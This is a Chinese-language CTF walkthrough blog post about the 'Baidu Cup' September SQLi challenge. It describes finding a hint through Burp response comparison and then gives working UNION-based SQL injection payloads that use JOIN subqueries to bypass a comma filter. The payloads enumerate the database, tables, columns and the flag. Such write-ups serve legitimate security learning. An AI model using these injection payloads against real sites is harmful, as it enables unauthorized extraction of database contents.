百度杯”CTF比赛 九月场 SQLi

1、打开题目 一篇空白 发现一直在loading 还以为是网卡没加载 刷新几遍之后 发现原来都是套路
2、根据提示flag在后台 用bp抓包进行测试

在这里插入图片描述

看到 login.php?id=1 通过URL进行访问
在这里插入图片描述
发现没有什么可以用的信息 再用bp抓包 也灭有可以用信息

最后实在没办法了 看了官方的WP 才知道存在index.php 文件 并在hearder中有提示

通过URL访问之后 bp抓包发现
在这里插入图片描述
两个代码相似 状态码不同 最后对比 发现
在这里插入图片描述
在这里插入图片描述

两者就相差一个字符

把302放入测试中
在这里插入图片描述

仔细观察 可以发现后台的提示
在这里插入图片描述

之后就是常规的SQL注入
在这里插入图片描述

3、在这里插入图片描述
构造错误的闭合 发现与常规闭合不同

再输入 1’ order by 1,2 –
在这里插入图片描述

发现过滤掉了逗号后面的内容 因此网上查到不用逗号 使用join代替的 闭合方式

-1’%20 union select * from (select 1) a join (select 2 ) b %23 在这里插入图片描述

id=-1’%20 union select * from (select database()) a join (select 2 ) b %23
在这里插入图片描述

id=-1’%20 union select * from (select group_concat(table_name) from information_schema.tables where table_schema= database()) a join (select 2 ) b %23 //爆表

在这里插入图片描述

id=-1%27%20%20union%20select%20*%20from%20(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%20a%20join%20(select%202%20)%20b%20%23

//爆字段
在这里插入图片描述

id=-1%27%20%20union%20select%20*%20from%20(select%20group_concat(flag_9c861b688330)%20from%20users)%20a%20join%20(select%202%20)%20b%20%23
//爆数据
在这里插入图片描述

提交flag 即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值